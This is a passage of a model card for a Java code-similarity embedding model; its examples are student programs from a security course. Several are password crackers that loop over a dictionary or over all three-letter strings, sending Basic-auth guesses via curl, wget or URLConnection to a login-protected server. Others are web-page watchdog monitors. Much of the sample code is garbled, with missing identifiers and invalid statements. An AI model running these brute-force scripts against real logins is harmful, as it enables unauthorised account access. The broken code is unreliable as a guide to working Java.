cracking!\");\n found = 1;\n }\n in.print();\n\n\t } catch (Exception ex) {}\n\t }\n\t ctrl = 1;\n c[1] = (char)(j);\n }\n ctrl = 2;\n flag = 1;\n c[0] = (char)(i);\n }\n if (found == 0){\n System.out.println(\"Sorry, password found.\");\n System.out.println(\"# of attempt = \" + count);\n System.out.println(\"End of cracking!\");\n }\n }\n}"
- |
import java.net.*;
import java.io.*;
import java.*;
import java.util.*;
public class Dictionary {
private static String commandLine = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";
private String password;
private String previous;
private String url;
private int startTime;
private int endTime;
private int totalTime;
private float averageTime;
private boolean finish;
private Process curl;
private BufferedReader bf, responseLine;
public Dictionary() {
first();
finish = true;
previous = "";
Runtime run = Runtime.getRuntime();
startTime =new Date().getTime();
int i=0;
try {
try {
bf = new BufferedReader(new FileReader("words"));
}
catch(FileNotFoundException notFound) {
bf = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
}
while((password = bf.readLine()) != null) {
if(password.length()>3) password = password.substring(0,3);
if(previous.equals(password)) ;
else {
previous = password;
url = commandLine+password;
curl= run.exec(url);
responseLine=new BufferedReader(new InputStreamReader(curl.getInputStream()));
if(responseLine.readLine().substring(9,12).equals("200")) break;
}
}
}
catch(IOException ioe) {
System.out.println("\n IO Exception! \n");
System.out.println("The current url is:"+ url);
System.out.println("The current trying password is:"+password);
finish=false;
}
endTime = new Date().getTime();
totalTime = (endTime-startTime)/1000;
System.out.println(" The response time is:"+ totalTime + " seconds\n");
if(finish) {
System.out.println(" The password for is:"+ password);
try {
savePassword(password, totalTime);
}
catch (IOException ioec) {
System.out.println(" not save the password file Dictionary_pwd.txt ");
}
}
}
public void savePassword(String passwdString, int time) throws IOException {
DataOutputStream outputStream = new DataOutputStream(new FileOutputStream("Dictionary_pwd.txt"));
outputStream.writeChars("The password is:");
outputStream.writeChars(passwdString+"\n");
outputStream.writeChars("The response time is: ");
outputStream.writeChars(sw.toString(time));
outputStream.writeChars(" seconds\n");
outputStream.close();
}
public void first() {
System.out.println("\n\n----------------------------------------------");
System.out.println(" Use curl command and dictionary ");
System.out.println(" Brute Force the password for user ");
System.out.println("----------------------------------------------");
}
public static void main(String[] args) {
new Dictionary();
}
}
- source_sentence: |-
import java.net.*;
import java.io.*;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.IOException;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.util.*;
import java.*;
public class Dictionary {
public static void main(String[] args) throws Exception {
String pass;
int attempt = 0;
String fileName = "words.txt", line;
BufferedReader reader;
Dictionary dict = new Dictionary();
boolean flag=false;
System.out.println(System.currentTimeMillis()/1000);
try{
reader = new BufferedReader(new InputStreamReader(new FileInputStream(fileName)));
while (!flag)
{
try{
line = reader.readLine();
attempt++;
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection yc = url.openConnection();
pass = ":" + line;
String password = new url.misc.BASE64Encoder().encode(pass.getBytes());
yc.setRequestProperty("Authorization"," "+password);
BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null)
System.out.println(inputLine);
in.close();
System.out.println(pass);
flag=true;
System.out.println(System.currentTimeMillis()/1000);
System.out.println(" of attempt: "+attempt);
System.exit(0);
}catch(IOException e){
}
}
}catch(FileNotFoundException e){
System.out.println("File not found");
}
}
}
sentences:
- "import java.io.*;\nimport java.net.*;\nimport java.util.*;\n\npublic class Watchdog\n{\n\tpublic static void main(String args[])\n\t{\n\t\t\n\t\tString mainLink=\"http://www.cs.rmit.edu./students/\";\n\t\tString sender = \"@cs.rmit.edu.\";\n\t\tString recipient = \"<webtech@acuneeds.>\";\n\t\tString hostName = \"yallara.cs.rmit.edu.\";\n\t\tint delay = 86400000;\n\n\t\ttry\n\t\t{\n\t\t\tint imgSrcIndex, imgSrcEnd;\n\t\t\tString imgLink;\n\t\t\tVector imageList = new Vector();\n\t\t\tHttpURLConnection imgConnection;\n\t\t\tURL imgURL;\n\n\t\t\t\n\t\t\tEmailClient email = new EmailClient(sender, recipient, hostName);\n\n\t\t\t\n\t\t\tURL url=new URL(mainLink);\n\t\t\tHttpURLConnection connection = (HttpURLConnection) url.openConnection();\n\n\t\t\tBufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n\n\t\t\t\n\t\t\tFileWriter fwrite = new FileWriter(\"local.txt\");\n\t\t\tBufferedWriter writefile = new BufferedWriter(fwrite);\n\n\t\t\tString line=webpage.readLine();\n\n\t\t\twhile (line != null)\n\t\t\t{\n\t\t\t\t\n\t\t\t\twritefile.write(line,0,line.length());\n\t\t\t\twritefile.newLine();\n\n\t\t\t\t\n\t\t\t\tline = line.toLowerCase();\n\t\t\t\timgSrcIndex=line.indexOf(\"src\");\n\n\t\t\t\tif(imgSrcIndex!=-1)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\timgLink = line.substring(imgSrcIndex+3);\n\t\t\t\t\timgSrcIndex=imgLink.indexOf(\"\\\"\");\n\t\t\t\t\timgLink = imgLink.substring(imgSrcIndex+1);\n\t\t\t\t\timgSrcEnd = imgLink.indexOf(\"\\\"\");\n\t\t\t\t\timgLink = imgLink.substring(0,imgSrcEnd);\n\n\t\t\t\t\t\n\t\t\t\t\tif (imgLink.startsWith(\"http\"))\n\t\t\t\t\t{\n\t\t\t\t\t\timgURL = new URL(imgLink);\n\t\t\t\t\t\timgConnection = (HttpURLConnection) imgURL.openConnection();\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\timgURL = new URL(mainLink);\n\t\t\t\t\t\timgURL = new URL(imgURL, imgLink);\n\t\t\t\t\t\timgConnection = (HttpURLConnection) imgURL.openConnection();\n\t\t\t\t\t\timgLink = (imgConnection.getURL()).toString();\n\t\t\t\t\t}\n\n\t\t\t\t\t\n\t\t\t\t\timageList.add(new ImageFile(imgLink, imgConnection.getContentLength()));\n\t\t\t\t\timgConnection.disconnect();\n\t\t\t\t}\n\n\t\t\t\tline = webpage.readLine();\n\n\t\t\t}\n\n\t\t\t\n\t\t\twritefile.close();\n\t\t\tfwrite.close();\n\t\t\twebpage.close();\n\t\t\tconnection.disconnect();\n\n\t\t\t\n\t\t\tWatchdogThread watchdog = new WatchdogThread(mainLink, imageList, email, delay);\n\t\t}\n\n\t\tcatch (IOException ioe)\n\t\t{\n\t\t\t\n\t\t\t\n\t\t\tSystem.out.println(ioe);\n\t\t\tSystem.out.println(\"Please run program again.\");\n\t\t\tSystem.exit(0);\n\t\t}\n\n\t}\n\n}\n"
- |-
import java.net.*;
import java.io.*;
public class Dictionary {
private String strUserName;
private String strURL;
private String strDictPath;
private int iAttempts;
public Dictionary(String strURL,String strUserName,String strDictPath) {
this.strURL = strURL;
this.strUserName = strUserName;
this.iAttempts = 0 ;
this.strDictPath = strDictPath;
}
public String getPassword(){
URL u;
String result ="";
PassGenDict PG = new PassGenDict(3,strDictPath);
URLConnection uc;
String strPassword = new String();
String strEncode;
try{
while (result.compareTo("HTTP/1.1 200 OK")!=0){
strEncode = PG.getNewPassword();
u = new URL(strURL);
uc = u.openConnection();
uc.setDoInput(true);
uc.setDoOutput(true);
strPassword = strEncode;
strEncode = strUserName + ":" + strEncode;
strEncode = new String(Base64.encode(strEncode.getBytes()));
uc.setRequestProperty("Authorization"," " + strEncode);
result = uc.getHeaderField(0);
uc = null;
u = null;
iAttempts++;
}
}
catch (Exception me) {
System.out.println("MalformedURLException: "+me);
}
return(strPassword);
}
public int getAttempts(){
return (iAttempts);
};
public static void main(String arg[]){
timeStart = 0;
timeEnd = 0;
if (arg.length == 3) {
Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]);
System.out.println("Processing ... ");
timeStart = System.currentTimeMillis();
System.out.println("Password = " + BF.getPassword());
timeEnd = System.currentTimeMillis();
System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");
System.out.println("Total Attempts = " + BF.getAttempts());
}
else {
System.out.println("[Usage] java BruteForce <URL> <USERNAME> <Dictionary path>");
}
}
}
class PassGenDict {
private char[] password;
private String line;
int iPassLenght;
private BufferedReader inputFile;
public PassGenDict(int lenght, String strDictPath) {
try{
inputFile = new BufferedReader(new FileReader(strDictPath));
}
catch (Exception e){
}
iPassLenght = lenght;
}
public String getNewPassword()
throws PasswordFailureException{
try {
{
line = inputFile.readLine();
}while (line.length() != iPassLenght);
}
catch (Exception e){
throw new PasswordFailureException ();
}
return (line);
}
}
class PasswordFailureException extends RuntimeException {
public PasswordFailureException() {
}
}
- |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary{
private static URL location;
private static String user;
private BufferedReader input;
private static BufferedReader dictionary;
private int maxLetters = 3;
public Dictionary() {
Authenticator.setDefault(new MyAuthenticator ());
startTime = System.currentTimeMillis();
boolean passwordMatched = false;
while (!passwordMatched) {
try {
input = new BufferedReader(new InputStreamReader(location.openStream()));
String line = input.readLine();
while (line != null) {
System.out.println(line);
line = input.readLine();
}
input.close();
passwordMatched = true;
}
catch (ProtocolException e)
{
}
catch (ConnectException e) {
System.out.println("Failed connect");
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
}
endTime = System.currentTimeMillis();
System.out.println("Total Time: "+cad.concat(Math.toString(endTime - startTime)));
}
private char[] nextPassword() {
String password = new String();
try {
password = dictionary.readLine();
while (password.length() > maxLetters) {
password = dictionary.readLine();
}
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
return password.toCharArray();
}
public static void main(String args[]) {
if (args.length != 3) {
System.out.println("Usage: java Dictionary url user dictionary");
System.exit(-1);
}
try {
location = new URL(args[0]);
}
catch (MalformedURLException e) {
e.printStackTrace();
}
user = new String().concat(args[1]);
try {
dictionary = new BufferedReader(new FileReader(args[2]));
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
new Dictionary();
}
class MyAuthenticator extends Authenticator {
protected PasswordAuthentication getPasswordAuthentication() {
char [] currentPassword = nextPassword();
System.out.print(user.concat("-"));
System.out.println(currentPassword);
return new PasswordAuthentication (user, currentPassword);
}
}
}
- source_sentence: |+
import java.io.*;
import java.net.*;
public class Dictionary
{
public static void main (String args[]) throws IOException,
MalformedURLException
{
final String username = "";
final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/";
final String dictfile = "/usr/share/lib/dict/words";
String temppass;
String password = "";
URL url = new URL(fullurl);
boolean cracked = false;
startTime = System.currentTimeMillis();
BufferedReader r = new BufferedReader(new FileReader(dictfile));
while((temppass = r.readLine()) != null && !cracked)
{
if(temppass.length() <= 3)
{
if(isAlpha(temppass))
{
Authenticator.setDefault(new MyAuthenticator(username,temppass));
try{
BufferedReader x = new BufferedReader(new InputStreamReader(
url.openStream()));
cracked = true;
password = temppass;
} catch(Exception e){}
}
}
}
stopTime = System.currentTimeMillis();
if(!cracked)
System.out.println("Sorry, couldnt find the password");
else
System.out.println("Password found: "+password);
System.out.println("Time taken: "+(stopTime-startTime));
}
public static boolean isAlpha(String s)
{
boolean v = true;
for(int i=0; i<s.length(); i++)
{
if(!Character.isLetter(s.charAt(i)))
v = false;
}
return ;
}
}
sentences:
- "\n\nimport java.net.*;\nimport java.text.*; \nimport java.util.*; \nimport java.io.*;\n\npublic class WatchDog {\n\n public WatchDog() {\n\n StringBuffer stringBuffer1 = new StringBuffer();\n StringBuffer stringBuffer2 = new StringBuffer();\n int i,j = 0;\n\n try{\n\n URL yahoo = new URL(\"http://www.cs.rmit.edu./students/\"); \n BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\n String inputLine = \"\";\n String inputLine1 = \"\";\n String changedtext= \"\";\n String changedflag= \"\";\n\n\n Thread.sleep(180);\n\n BufferedReader in1 = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\n\n while ((inputLine = in.readLine()) != null) {\n inputLine1 = in1.readLine();\n if (inputLine.equals(inputLine1)) {\n System.out.println(\"equal\");\n }\n else {\n System.out.println(\"Detected a Change\");\n System.out.println(\"Line Before the change:\" + inputLine);\n System.out.println(\"Line After the change:\" + inputLine1);\n changedtext = changedtext + inputLine + inputLine1;\n changedflag = \"Y\";\n }\n \n }\n\n if (in1.readLine() != null ) {\n System.out.println(\"Detected a Change\");\n System.out.println(\"New Lines Added \");\n changedtext = changedtext + \"New Lines added\";\n changedflag = \"Y\";\n }\n\n in.print();\n in1.print();\n\n if (changedflag.equals(\"Y\")) {\n String smtphost =\"smtp.mail.rmit.edu.\" ; \n String from = \"@rmit.edu.\"; \n String = \"janaka1@optusnet..\" ; \n }\n\n\n }\n catch(Exception e){ System.out.println(\"exception:\" + e);}\n\t \n}\n\t\t\n public static void main (String[] args) throws Exception {\n\t\tWatchDog u = new WatchDog();\n }\n}\n"
- |-
import java.util.*;
import java.net.*;
import java.io.*;
import javax.swing.*;
public class PasswordCombination
{
private int pwdCounter = 0;
private int startTime;
private String str1,str2,str3;
private String url = "http://sec-crack.cs.rmit.edu./SEC/2/";
private String loginPwd;
private String[] password;
private HoldSharedData data;
private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M',
'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m',
'n','o','p','q','r','s','t','u','v','w','x','y','z'};
public PasswordCombination()
{
System.out.println("Programmed by for INTE1070 Assignment 2");
String input = JOptionPane.showInputDialog( "Enter number of threads" );
if( input == null )
System.exit(0);
int numOfConnections = Integer.parseInt( input );
startTime = System.currentTimeMillis();
int pwdCounter = 52*52*52 + 52*52 + 52;
password = new String[pwdCounter];
loadPasswords();
System.out.println( "Total Number of Passwords: " + pwdCounter );
createConnectionThread( numOfConnections );
}
private void doPwdCombination()
{
for( int i = 0; i < 52; i ++ )
{
str1 = "" + chars[i];
password[pwdCounter++] = "" + chars[i];
System.err.print( str1 + " | " );
for( int j = 0; j < 52; j ++ )
{
str2 = str1 + chars[j];
password[pwdCounter++] = str1 + chars[j];
for( int k = 0; k < 52; k ++ )
{
str3 = str2 + chars[k];
password[pwdCounter++] = str2 + chars[k];
}
}
}
}
private void loadPasswords( )
{
FileReader fRead;
BufferedReader buf;
String line = null;
String fileName = "words";
try
{
fRead = new FileReader( fileName );
buf = new BufferedReader(fRead);
while((line = buf.readLine( )) != null)
{
password[pwdCounter++] = line;
}
}
catch(FileNotFoundException e)
{
System.err.println("File not found: " + fileName);
}
catch(IOException ioe)
{
System.err.println("IO Error " + ioe);
}
}
private void createConnectionThread( int input )
{
data = new HoldSharedData( startTime, password, pwdCounter );
int numOfThreads = input;
int batch = pwdCounter/numOfThreads + 1;
numOfThreads = pwdCounter/batch + 1;
System.out.println("Number of Connection Threads Used=" + numOfThreads);
ConnectionThread[] connThread = new ConnectionThread[numOfThreads];
for( int index = 0; index < numOfThreads; index ++ )
{
connThread[index] = new ConnectionThread( url, index, batch, data );
connThread[index].conn();
}
}
}
- >-
import java.io.*;
import java.util.StringTokenizer;
import java.net.smtp.SmtpClient;
import java.util.Timer;
import java.util.TimerTask;
public class WatchDog {
public static void main(String[] args) {
try {
Process y = Runtime.getRuntime().exec("./init");
}
catch (Exception e) {System.err.println(e);}
WatchDog poodle=new WatchDog();
{
poodle.startWatch();
} while(1==1);
}
public void startWatch() {
String error_mes=new String();
String mesg=new String();
String url="wget -p http://www.cs.rmit.edu./students";
try {
Process a = Runtime.getRuntime().exec(url);
}
catch (Exception e) {System.err.println(e);}
try {
Process b = Runtime.getRuntime().exec("diff org/images/
www.cs.rmit.edu./images/");
BufferedReader stdInputimages = new BufferedReader(new InputStreamReader(b.getInputStream()));
while ((error_mes = stdInputimages.readLine()) != null) {
mesg=mesg.concat(error_mes);
}
}
catch (Exception e) {System.err.println(e);}
try {
Process c = Runtime.getRuntime().exec("diff org/students/
www.cs.rmit.edu./students/");
BufferedReader stdInputindex = new BufferedReader(new
InputStreamReader(c.getInputStream()));
while ((error_mes = stdInputindex.readLine()) != null) {
mesg=mesg.concat(error_mes);
}
}
catch (Exception e) {System.err.println(e);}
if (mesg.length()>0) { sendEmail(mesg); }
try { Thread.sleep(60*60*24*1000);
} catch(Exception e) { }
}
public void sendEmail(String message) {
{
String reciever = "@cs.rmit.edu.";
String sender = "[email protected].";
try {
SmtpClient smtp = new SmtpClient();
smtp.from(sender);
smtp.to(reciever);
PrintStream msg = smtp.startMessage();
msg.println(message);
smtp.closeServer();
}
catch (Exception e) {}
}
}
}
pipeline_tag: sentence-similarity
library_name: sentence-transformers
SentenceTransformer based on Salesforce/codet5-small
This is a sentence-transformers model finetuned from Salesforce/codet5-small. It maps sentences & paragraphs to a 512-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
Model Details
Model Description
- Model Type: Sentence Transformer
- Base model: Salesforce/codet5-small
- Maximum Sequence Length: 512 tokens
- Output Dimensionality: 512 dimensions
- Similarity Function: Cosine Similarity
Model Sources
- Documentation: Sentence Transformers Documentation
- Repository: Sentence Transformers on GitHub
- Hugging Face: Sentence Transformers on Hugging Face
Full Model Architecture
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: T5EncoderModel
(1): Pooling({'word_embedding_dimension': 512, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
Usage
Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
pip install -U sentence-transformers
Then you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeT5Small-ST")
# Run inference
sentences = [
'\n\n\n\n\n\nimport java.io.*;\nimport java.net.*;\n\n\n\npublic class Dictionary\n{\n public static void main (String args[]) throws IOException,\n MalformedURLException\n {\n final String username = "";\n final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/";\n final String dictfile = "/usr/share/lib/dict/words";\n String temppass;\n String password = "";\n URL url = new URL(fullurl);\n boolean cracked = false;\n\n startTime = System.currentTimeMillis();\n\n \n BufferedReader r = new BufferedReader(new FileReader(dictfile));\n\n while((temppass = r.readLine()) != null && !cracked)\n { \n \n if(temppass.length() <= 3)\n {\n \n if(isAlpha(temppass))\n {\n \n Authenticator.setDefault(new MyAuthenticator(username,temppass));\n try{\n BufferedReader x = new BufferedReader(new InputStreamReader(\n url.openStream()));\n cracked = true;\n password = temppass;\n } catch(Exception e){}\n }\n }\n }\n\n stopTime = System.currentTimeMillis();\n \n if(!cracked)\n System.out.println("Sorry, couldnt find the password");\n else\n System.out.println("Password found: "+password);\n System.out.println("Time taken: "+(stopTime-startTime));\n }\n\n public static boolean isAlpha(String s)\n {\n boolean v = true;\n for(int i=0; i<s.length(); i++)\n {\n if(!Character.isLetter(s.charAt(i)))\n v = false;\n }\n return ;\n }\n}\n\n',
'\n\nimport java.net.*;\nimport java.text.*; \nimport java.util.*; \nimport java.io.*;\n\npublic class WatchDog {\n\n public WatchDog() {\n\n StringBuffer stringBuffer1 = new StringBuffer();\n StringBuffer stringBuffer2 = new StringBuffer();\n int i,j = 0;\n\n try{\n\n URL yahoo = new URL("http://www.cs.rmit.edu./students/"); \n BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\n String inputLine = "";\n String inputLine1 = "";\n String changedtext= "";\n String changedflag= "";\n\n\n Thread.sleep(180);\n\n BufferedReader in1 = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n\n\n while ((inputLine = in.readLine()) != null) {\n inputLine1 = in1.readLine();\n if (inputLine.equals(inputLine1)) {\n System.out.println("equal");\n }\n else {\n System.out.println("Detected a Change");\n System.out.println("Line Before the change:" + inputLine);\n System.out.println("Line After the change:" + inputLine1);\n changedtext = changedtext + inputLine + inputLine1;\n changedflag = "Y";\n }\n \n }\n\n if (in1.readLine() != null ) {\n System.out.println("Detected a Change");\n System.out.println("New Lines Added ");\n changedtext = changedtext + "New Lines added";\n changedflag = "Y";\n }\n\n in.print();\n in1.print();\n\n if (changedflag.equals("Y")) {\n String smtphost ="smtp.mail.rmit.edu." ; \n String from = "@rmit.edu."; \n String = "janaka1@optusnet.." ; \n }\n\n\n }\n catch(Exception e){ System.out.println("exception:" + e);}\n\t \n}\n\t\t\n public static void main (String[] args) throws Exception {\n\t\tWatchDog u = new WatchDog();\n }\n}\n',
'\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport javax.swing.*;\n\npublic class PasswordCombination\n{\n private int pwdCounter = 0;\n private int startTime;\n private String str1,str2,str3;\n private String url = "http://sec-crack.cs.rmit.edu./SEC/2/";\n private String loginPwd;\n private String[] password;\n private HoldSharedData data;\n private char[] chars = {\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\n \'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\',\n \'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\n \'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\n\n public PasswordCombination()\n {\n System.out.println("Programmed by for INTE1070 Assignment 2");\n\n String input = JOptionPane.showInputDialog( "Enter number of threads" );\n if( input == null )\n System.exit(0);\n\n int numOfConnections = Integer.parseInt( input );\n startTime = System.currentTimeMillis();\n int pwdCounter = 52*52*52 + 52*52 + 52;\n password = new String[pwdCounter];\n\n\n loadPasswords();\n System.out.println( "Total Number of Passwords: " + pwdCounter );\n createConnectionThread( numOfConnections );\n }\n\n private void doPwdCombination()\n {\n for( int i = 0; i < 52; i ++ )\n {\n str1 = "" + chars[i];\n password[pwdCounter++] = "" + chars[i];\n System.err.print( str1 + " | " );\n\n for( int j = 0; j < 52; j ++ )\n {\n str2 = str1 + chars[j];\n password[pwdCounter++] = str1 + chars[j];\n\n for( int k = 0; k < 52; k ++ )\n {\n str3 = str2 + chars[k];\n password[pwdCounter++] = str2 + chars[k];\n }\n }\n }\n }\n\n private void loadPasswords( )\n {\n FileReader fRead;\n BufferedReader buf;\n String line = null;\n String fileName = "words";\n\n try\n {\n fRead = new FileReader( fileName );\n buf = new BufferedReader(fRead);\n\n while((line = buf.readLine( )) != null)\n {\n password[pwdCounter++] = line;\n }\n }\n catch(FileNotFoundException e)\n {\n System.err.println("File not found: " + fileName);\n }\n catch(IOException ioe)\n {\n System.err.println("IO Error " + ioe);\n }\n }\n\n private void createConnectionThread( int input )\n {\n data = new HoldSharedData( startTime, password, pwdCounter );\n\n int numOfThreads = input;\n int batch = pwdCounter/numOfThreads + 1;\n numOfThreads = pwdCounter/batch + 1;\n System.out.println("Number of Connection Threads Used=" + numOfThreads);\n ConnectionThread[] connThread = new ConnectionThread[numOfThreads];\n\n for( int index = 0; index < numOfThreads; index ++ )\n {\n connThread[index] = new ConnectionThread( url, index, batch, data );\n connThread[index].conn();\n }\n }\n} ',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Training Details
Training Dataset
Unnamed Dataset
- Size: 33,411 training samples
- Columns:
sentence_0
,sentence_1
, andlabel
- Approximate statistics based on the first 1000 samples:
sentence_0 sentence_1 label type string string int details - min: 52 tokens
- mean: 444.58 tokens
- max: 512 tokens
- min: 52 tokens
- mean: 470.35 tokens
- max: 512 tokens
- 0: ~99.80%
- 1: ~0.20%
- Samples:
sentence_0 sentence_1 label
import java.util.;
import java.io.;
public class MyTimer
{
public static void main(String args[])
{
Watchdog watch = new Watchdog();
Timer time = new Timer();
time.schedule(watch,864000000,864000000);
}
}
import java.io.;
import java.;
import java.net.;
import java.util.;
public class Dictionary {
public static void main (String[] args) throws IOException {
BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));
d = new Date().getTime();
FileReader fr = new FileReader("/usr/share/lib/dict/words");
BufferedReader bufr = new BufferedReader(fr);
String word = bufr.readLine();
int total = 960;
String[] pws = new String[total];
int count = 0;
while (word!=null){
if (word.length()<=3) { pws[count] = word; count++;}
word = bufr.readLine();
}
int i=0;
int response = 0;
for (i=0;i String uname = "";
String userinfo = uname + ":" + pws[i];
try{
String encoding = new bf.misc.BASE64Encoder().encode (userinfo.getBytes());
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
HttpURLConn...0
import java.io.;
import java.util.;
class BruteForce{
public static void main(String args[]){
String pass,s;
char a,b,c;
int z=0;
int attempt=0;
Process p;
char password[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q',
'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h',
'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
z = System.currentTimeMillis();
int at=0;
for(int i=0;i for(int j=0;j for(int k=0;k pass=String.valueOf(password[i])+String.valueOf(password[j])+String.valueOf(password[k]);
try {
System.out.println("Trying crack using: "+pass);
at++;
p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php");
try{
p.waitFor();
}
catch(Exception q){}
z = p.exitValue();
...
import java.io.*;
import java.util.Vector;
import java.util.Date;
interface UnaryPredicate {
boolean execute(Object obj);
}
public class DiffPrint {
static String outFile="";
public static abstract class Base {
protected Base(Object[] a,Object[] b) {
try
{
outfile = new PrintWriter(new FileWriter(outFile));
}
catch (Exception e)
{
e.printStackTrace();
}
file0 = a;
file1 = b;
}
protected UnaryPredicate ignore = null;
protected Object[] file0, file1;
public void print_script(Diff.change script) {
Diff.change next = script;
while (next != null)
{
Diff.change t, end;
t = next;
end = hunkfun(next);
next = end;
end = null;
print_hunk(t);
end = next;
}
outfile.flush();
}
protected Diff.change hunkfun(Diff.change hunk) {
...0
package java.httputils;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.OutputStream;
public class WatchDog
{
protected final int MILLIS_IN_HOUR = (60 * 60 * 1000);
protected int interval = 24;
protected String URL = "http://www.cs.rmit.edu./students/";
protected String fileName = "WatchDogContent.html";
protected String command = "./alert_mail.sh";
protected String savedContent;
protected String retrievedContent;
public WatchDog()
{
super();
}
public void run() throws Exception
{
HttpRequestClient client = null;
System.out.println(getClass().getName() +
"Retrieving baseline copy of: " + getURL());
client = new HttpRequestClie...
import java.;
import java.io.;
import java.util.*;
public class Dictionary
{
public String[] passwds;
public int passwdNum;
public static void main(String[] args) throws IOException
{
Dictionary dic=new Dictionary();
dic.doDictionary();
System.exit(1);
}
void doDictionary() throws IOException
{
Runtime rt=Runtime.getRuntime();
passwds=new String[32768];
passwdNum=0;
time1=new Date().getTime();
try
{
File f = new File ("words");
FileReader fin = new FileReader (f);
BufferedReader buf = new BufferedReader(fin);
passwds[0]="00";
System.out.println(" loading words....");
{
passwds[passwdNum]=buf.readLine();
passwdNum++;
}while(passwds[passwdNum-1]!=null);
System.out.println("Finish loading words.");
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found");
} catch (IOException exc) {
System.out.println ("IOException 1");
} catch (NullPointerException exc) {
System.out.println ("NullPointerEx...0
- Loss:
BatchAllTripletLoss
Training Hyperparameters
Non-Default Hyperparameters
per_device_train_batch_size
: 16per_device_eval_batch_size
: 16num_train_epochs
: 1multi_dataset_batch_sampler
: round_robin
All Hyperparameters
Click to expand
overwrite_output_dir
: Falsedo_predict
: Falseeval_strategy
: noprediction_loss_only
: Trueper_device_train_batch_size
: 16per_device_eval_batch_size
: 16per_gpu_train_batch_size
: Noneper_gpu_eval_batch_size
: Nonegradient_accumulation_steps
: 1eval_accumulation_steps
: Nonetorch_empty_cache_steps
: Nonelearning_rate
: 5e-05weight_decay
: 0.0adam_beta1
: 0.9adam_beta2
: 0.999adam_epsilon
: 1e-08max_grad_norm
: 1num_train_epochs
: 1max_steps
: -1lr_scheduler_type
: linearlr_scheduler_kwargs
: {}warmup_ratio
: 0.0warmup_steps
: 0log_level
: passivelog_level_replica
: warninglog_on_each_node
: Truelogging_nan_inf_filter
: Truesave_safetensors
: Truesave_on_each_node
: Falsesave_only_model
: Falserestore_callback_states_from_checkpoint
: Falseno_cuda
: Falseuse_cpu
: Falseuse_mps_device
: Falseseed
: 42data_seed
: Nonejit_mode_eval
: Falseuse_ipex
: Falsebf16
: Falsefp16
: Falsefp16_opt_level
: O1half_precision_backend
: autobf16_full_eval
: Falsefp16_full_eval
: Falsetf32
: Nonelocal_rank
: 0ddp_backend
: Nonetpu_num_cores
: Nonetpu_metrics_debug
: Falsedebug
: []dataloader_drop_last
: Falsedataloader_num_workers
: 0dataloader_prefetch_factor
: Nonepast_index
: -1disable_tqdm
: Falseremove_unused_columns
: Truelabel_names
: Noneload_best_model_at_end
: Falseignore_data_skip
: Falsefsdp
: []fsdp_min_num_params
: 0fsdp_config
: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap
: Noneaccelerator_config
: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}deepspeed
: Nonelabel_smoothing_factor
: 0.0optim
: adamw_torchoptim_args
: Noneadafactor
